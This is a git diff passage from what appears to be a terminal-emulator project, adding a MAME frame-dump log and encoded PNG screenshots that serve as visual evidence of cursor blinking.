HcmV?d00001 diff --git a/dwt/evidence/visual/blink_mame.log b/dwt/evidence/visual/blink_mame.log new file mode 100644 index 0000000..340965f --- /dev/null +++ b/dwt/evidence/visual/blink_mame.log @@ -0,0 +1,48 @@ +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#3 frame=0 clip_y=0..900 screen=1280x901 +vt1200: scanline#1 line=0 enabled=1 +vt1200: guard#2 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#4 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +vt1200: dumped frame 3400 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3400.ppm (1280x901, 458414 lit = 39.7487%) +vt1200: dumped frame 3410 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3410.ppm (1280x901, 458611 lit = 39.7658%) +vt1200: dumped frame 3420 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3420.ppm (1280x901, 459086 lit = 39.8070%) +vt1200: dumped frame 3430 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3430.ppm (1280x901, 459086 lit = 39.8070%) +vt1200: dumped frame 3440 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3440.ppm (1280x901, 459086 lit = 39.8070%) +vt1200: dumped frame 3450 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3450.ppm (1280x901, 459086 lit = 39.8070%) +vt1200: dumped frame 3460 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3460.ppm (1280x901, 459086 lit = 39.8070%) +vt1200: dumped frame 3470 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3470.ppm (1280x901, 459086 lit = 39.8070%) +vt1200: dumped frame 3480 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3480.ppm (1280x901, 459086 lit = 39.8070%) +vt1200: dumped frame 3490 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3490.ppm (1280x901, 459086 lit = 39.8070%) +vt1200: dumped frame 3500 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3500.ppm (1280x901, 459086 lit = 39.8070%) +vt1200: dumped frame 3510 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3510.ppm (1280x901, 458079 lit = 39.7197%) +vt1200: dumped frame 3520 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3520.ppm (1280x901, 458516 lit = 39.7576%) +vt1200: dumped frame 3530 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3530.ppm (1280x901, 458516 lit = 39.7576%) +vt1200: dumped frame 3540 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3540.ppm (1280x901, 458516 lit = 39.7576%) +vt1200: dumped frame 3550 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3550.ppm (1280x901, 458516 lit = 39.7576%) +vt1200: dumped frame 3560 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3560.ppm (1280x901, 458516 lit = 39.7576%) +vt1200: dumped frame 3570 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3570.ppm (1280x901, 458516 lit = 39.7576%) +vt1200: dumped frame 3580 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3580.ppm (1280x901, 458516 lit = 39.7576%) +vt1200: dumped frame 3590 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3590.ppm (1280x901, 458516 lit = 39.7576%) +vt1200: dumped frame 3600 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3600.ppm (1280x901, 458516 lit = 39.7576%) +vt1200: dumped frame 3610 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3610.ppm (1280x901, 458746 lit = 39.7775%) +vt1200: dumped frame 3620 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3620.ppm (1280x901, 458118 lit = 39.7231%) +vt1200: dumped frame 3630 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3630.ppm (1280x901, 458118 lit = 39.7231%) +vt1200: dumped frame 3640 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3640.ppm (1280x901, 458118 lit = 39.7231%) +vt1200: dumped frame 3650 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3650.ppm (1280x901, 458118 lit = 39.7231%) +vt1200: dumped frame 3660 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3660.ppm (1280x901, 458118 lit = 39.7231%) +vt1200: dumped frame 3670 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3670.ppm (1280x901, 458118 lit = 39.7231%) +vt1200: dumped frame 3680 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3680.ppm (1280x901, 458118 lit = 39.7231%) +vt1200: dumped frame 3690 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3690.ppm (1280x901, 458118 lit = 39.7231%) +vt1200: dumped frame 3700 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3700.ppm (1280x901, 458118 lit = 39.7231%) +vt1200: dumped frame 3750 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3750.ppm (1280x901, 458565 lit = 39.7618%) +vt1200: dumped frame 3800 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3800.ppm (1280x901, 458565 lit = 39.7618%) +vt1200: dumped frame 3900 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-3900.ppm (1280x901, 458565 lit = 39.7618%) +vt1200: dumped frame 4000 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-4000.ppm (1280x901, 457962 lit = 39.7095%) +vt1200: dumped frame 4200 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames9/vt1200-frame-4200.ppm (1280x901, 457962 lit = 39.7095%) +frame_clock: stopping at frame 4300 +Average speed: 325.30% (59 seconds) diff --git a/dwt/evidence/visual/blink_off_3480.png b/dwt/evidence/visual/blink_off_3480.png new file mode 100644 index 0000000000000000000000000000000000000000..004015a3ed1f4587540569bffb3ca00cde2b3583 GIT binary patch literal 5337 zcmdrwc{r5q*E0rB!b2$1h?4MT8H{BRrcf$liWu3(o?gqCL3UF^$sS`*CbG0xCi_0> zMU*8=g)n8wk|mn#`KI@GeZTMf{&>IZ`}@1DbDeYU``qVw?&p5aeYSg8%sKx3;`<>G z2*1gB!z&O77n_AeLD?80p-SXs6DjBOS4<(0;FAytIT8ZdVo#B0ArOBA1Tv3@K(sR; z5K+Q|`pdd(0f*DYbA}M;Sd8#v_6YDZF*O3__X|M|9CZrgz0IDI@iW5txj6c{YC98M z*#x4BP}NXWK`5$dSs)PFDw^7Ah*N9^fjHxoG2) zc)61N9K8tttmE+Vq^ztmr5VWoSHqO%7R;05%^7kU2SSk8?v8zM|3q9n}Y2raC!h`A)SR{Zcd z{w){LjJy9rWoQFJ(9q(L6)ArRsB{9yB%dJbi8g0Kl3VQBD$f%?m4>t z48}rBkQ4piAxS#@>nrZ-Y0jn&_Z?62%7V_~+fU`0-%HIMq4o<~d%-_6w9NO-1NPpqIrmeIVO-;1s31wznxuz(y|DeeHxZy`~zz9XRBIQ zROg!ukjG@!WH{T0NM9(xe{7zEe= z@TX!a^qzAR zIYaW!gF05_PUghKrj-^_h*=MR;r_mSm3d?>)Vxx8>2S*CAdy>+Eisi z1*N=6HEp~+R`McgMfs@fC(n7qxhrk9+fsV^eWD)}>~8uMrl(&_U)`nbt=e^5D75}# zVnX8PgK$-yYz)8K*hX*r1Zpqk-Q9Rd0qV8>i6zdU%_%OUFyxtYas`dbVFvZMdc&F5 z?-$e!&a4j7c`}1?_xgNiOQtgKClil-fMByIp_-GJw})d?pXh17*-qOlFeT|2Dkk;IC^?nbs;Zvc%ko?XI(^Kvnu3TqQ|6nt4vngMKbbF!-<8M8 zXxHAH?0IOH?X7C_Z139MqxOJsC%W!Mn9Qs0@FgsB4Jfd&>X~`_4$-BzhTw1DT z+sW+Hp?Gl`<{}C#UMCrtJ9}opw6}JqTy)5*aOB|gMd(P&sdxQXXPQG&2nM?t{-p8j zh~=gLh>SK)UUW@99@V)@iB%b=OV6!QgL9q0S_}Ju5t|HAXZm%lK#Xw~#dKoO4Iz7= z`<*WWVW72Pm?m@=_N|t3my3-qe*e*T-LMSzDUZ_5A%y+X13+s@u?G%Xj=1Z*JDM})= zf1xxV^cZY=6xXJ>%%yTD7GTj3Qg9JIxCl3O8b6>}m8qXRjaQ1E8BLzW8<0^RAUAAQ z={$*Wq_6vGlkx-4IA&L125!r6Vz2 zP}HYnQ%`wvqU4)VfpCIGa~HHX{@_0A3X@xxOrX>nNrl~A{sAoi&==F1&sDi60rss7 zzMU1bg_V%5iSCB_jMWwJz$}ALECF``ZhqFY%YXW!_A~>0ed}r!Ksl0v-Ui;w(I5!q z=BN$6^b@CWm=I>3ML|Q28;?$%wX0k}-*fiGk_p(_SXb?05B~6XJ&#^zYCsC&+oJ3k zrg{)QffLV(!xHDIIkyFB>-aYUQ&4k(c{sU^o2F3qCl@r3)4C5A+dm$Bq`kKcyEaNL zZ2K0fi{8(*S4sliO z)Twbhl0gtjXnu$+dv&ZjS)&B1^d921Fl3d|InVdbzM?VsJAvE}Z|vBYsivfKHH`5& z!|h;~x5L|jrSG{bE7pwefg^f&?HqcH(Q+w@rVGT52N^uGdjH_E03zRAVM~5;aaJUU z?m|q09ZGW=x(d$DAiFEQmP=E>Ej3g{{pXX40_D^SxoL7?euF*i+Rj{+dBTlre|^q9 zIab}&fYE*p-QMng-ksdC0)O0;c5_CsX<_yoAF#s(R3?{p*_3x>2Y2Zgbn09ybq42q z&Ofy1YMbAvB|YTt2-yrTM+$x=58Z2}Kl061z{s9TjlV$`H!CWPX+woudG3#<<3t2m zG�eE;(t*?F+1g4}!W-2hNpi=}4d>Bv`oO^b4q{Z4d}L^rx5%+ch$~NQgy(fm*fg zd;fX`0qjGHM-eg&NsOhMQ4h%k&?|TGBb%RsyI*6su=!rOt$q+15*WaY#ANaelT{@u zOX7l3`iCMfu?+)kS%A({uVtD&Q7VgN|IxXs=W+LGuBX<@r4C@f;B576?1XY{fpu@( zar|Ek=uD8COKdS1AqU8CyhJ-Pq^Iz^3z+2%YUJK|VQ%XBdaI$t%GzQ<^Yz;>rHr<` zY*Y7*#YZ;Qg%srBIfXTvd#KWj#UpxW>)S>f_k>VhgL&}Z`8WWg_Vuf zxEZpmWVu$@fC8r5ec*``UD4o)Gkvtj`ezQY&nG7%)L@YE(k?C-D<}x=zxn+D5s{JX zFph&`JC(m@M3FCqd$90QGJ91@_gHvAnU=ScZXEKPR*5DLQaCTKUery{W-tE|Exqbi(EUnn$@{U2Zw}|qBJId7uqX2DgB`Tsp&F!xxk8|QBcaahPa2o`DhkPzh6?% z|KtTMXm55Ob@sBR`L8Z$2y`qt@9~VrPw3O&f{30GUDI5>t0%R9uUqk?8&%ar#!<$a zcTHYgN5?w!=%iwXMV+T$A4=1_a6In{Z)04_3LfDB*sqP zhT9xx*t~fh9fvFij9~u>Btr?m{=>@?*!FI>kGAb5E&&hUIjJ;UairsR=XpboU&h#% zW*cn>f4+C>3@}MEtsH5Yk8Izn(x&Oqie1lUS`2QnPHn_R4k_vAn`*o^C*RV-F&VR-Wyi_npNjqrZ3CFE5F_#^TG+S3c5TSOb^CkFmQBm zX(C(*AqFh&^j&mO(m;-D>iy^-O*WM+bKE#x-*nCK^l8i(TJOnmBR!8Sjj{+;yT*yb zfN=GPmPW3s`HQ>?lA~Nm_0d|YT6b`2xBH2>PhZR_qbKVEM#G&fg&tE9N;b)jWh`xc zyM_pe+f!J%J#iB&3s3sEnV^N+-nSk?ejC!rt5xP_7I?1VkFP{C4veosc9JZF@=3t5 zrJ_Re(vVGgSxDX$73VO213l^Q>lE`};pH2gcx3yRuj2Yqe;;iW^fL|5{C9+oq};wm zdC3k>2m)4&eWAF){p=c{m4S9N(2^6=lH=P4aKV6oDKXLX-GV!wC8^IQ0^Xu;76(Lx z0e$u}WOm7rfU1SnhJ2Q`nIvN>YW#cH(nej$+@bTn8aY`qbCJ6ydZ}A}<^5A(5~RM} zXr+Wc>qU*A+@wrY-mtJs0yckmOD2c3BJET4h#uv!{Iq8L;Nz#`;>g@1qSBMhb2m}6 zoXni#L3=`00WnFT;j9ZT@W=H)M)uH+yR;LY37LDT*70$a%D3gToz78FE zYut`5x^&U^ZudcxU#7ihLs0riT@=oHwHZuoYjD0B*3sbAeB|2?TqE!74$X+|SMt!O z<;0(W^*m2J%YtRQ&inVhb6u^|qgepc9NwGcD-u-R+RYD=YMo#gSEwy4u9T9hzXp;1 zhM(?jx}ozDe6butzC13_Jd*>9VW0N7KNUbu_MsX-q^$;k5N6u4OJGj+ z3VeZ;Gi^|au?vQXS7q0MM@L$v>cznQ>;UyyN$(8!K6hd`bbw#o^qZVSg&>yjDek{~ z;qlM-sG?(d5%`byr@Peym4v|hUPxRdrI&+^t~&cw{+9Wrc6J(*5BQd=;7`Djc}w`I zbxQAr6Yx;W-?femW$fSCi>VpFxvR+ADfG6Eh>MI5y+$s-6sRBd z z73<%RiI-Q*Oi-M#%TC@e*NbMGv8VM!p9{wYzobufyXkZO*Iq1NpLtz`ybT^oce^Y6 zL${@jD%lUzWl)vcaS9pv$U}gzmYn#%zys9yUBaYIybie@QqSnWEjQ_2m{^wHr|GNZV3~G##naY9zSh1BhvV;hC=rKIo3neyEPG3?O zqOm9VM%cO0Z|3jDgz+HyoO|IO2_sWBly$GHpK5t@F&_0@#hMW`C z%%7G56f!0>2Agl0e~;4`&_ob4u7U6My8iexi_q}}$4h1hIcQ?&>5qP}ZlOxH2S)42 z@rnIr&W*Ryq@SK=9tc3p?$Z(T`#66rS3@TDK3P9XD_y~n|}}!BaC6`8T{@4 E0M?eDRR910 literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/blink_off_3480_crop.png b/dwt/evidence/visual/blink_off_3480_crop.png new file mode 100644 index 0000000000000000000000000000000000000000..a2b4aa75c4c2cbfaf41ee9895a215608d90a009f GIT binary patch literal 650 zcmeAS@N?(olHy`uVBq!ia0y~yU}OQZw=e<;hNyG-X+TOL*(1o8fuTx`fuW&=f#DZW zsNn?zL#Y7+!>a@a2CEqi4B`cIb_Lo1C76=D-CYOJbhi+UvUXB2+E6A zS&IOLR7+eVN>UO_QmvAUQh^kMk%5t!uAzahp+$&+ft8`Tm9c>~kYQlplr$j;MMG|W zN@iLmZVkrv8ux%2G~hOrWag$8mn7yE;MS9(#R>E(W1gprV@Sl|x0ejP4?BpkfAHHi zB~6s4>@&9oE6ZPoru&cnu|?Ovc-a1>xM!*Dfn^!&w;4*lKXB2j>B`$MmE+FT z=MB|edK;ha`jYkLbkQ5e#o}(4rTG4~X;weoZ?^oX{=tZ{D4P_UypIQ+1Q=F7X87Nb zB*@HPE5}&h=W_9!i@oUOeIW)+4q|+q(N8Wa=4f%5zZF!oZJ2D=-`pgVe8T0^o!G_= z#uJ~g2I@RdeEvCM(TY>gwp?)H*4-Agr_@_O_H)_Zj&p9yy#!ad#44sO)?Ye9^T_YX zk|BxuPdmexO5{!rINzM#cjB}_-ltVwLAw7O&P=_1J*n6=^xq+0p{iF)yZ7)sbUVN0 b(j#_`r2^Ks&Moc)#ukI8tDnm{r-UW|IJNe~ literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/blink_on_3450.png b/dwt/evidence/visual/blink_on_3450.png new file mode 100644 index 0000000000000000000000000000000000000000..bef0c75109e551f12bd1d7cb6ed4b7913eab931c GIT binary patch literal 5436 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 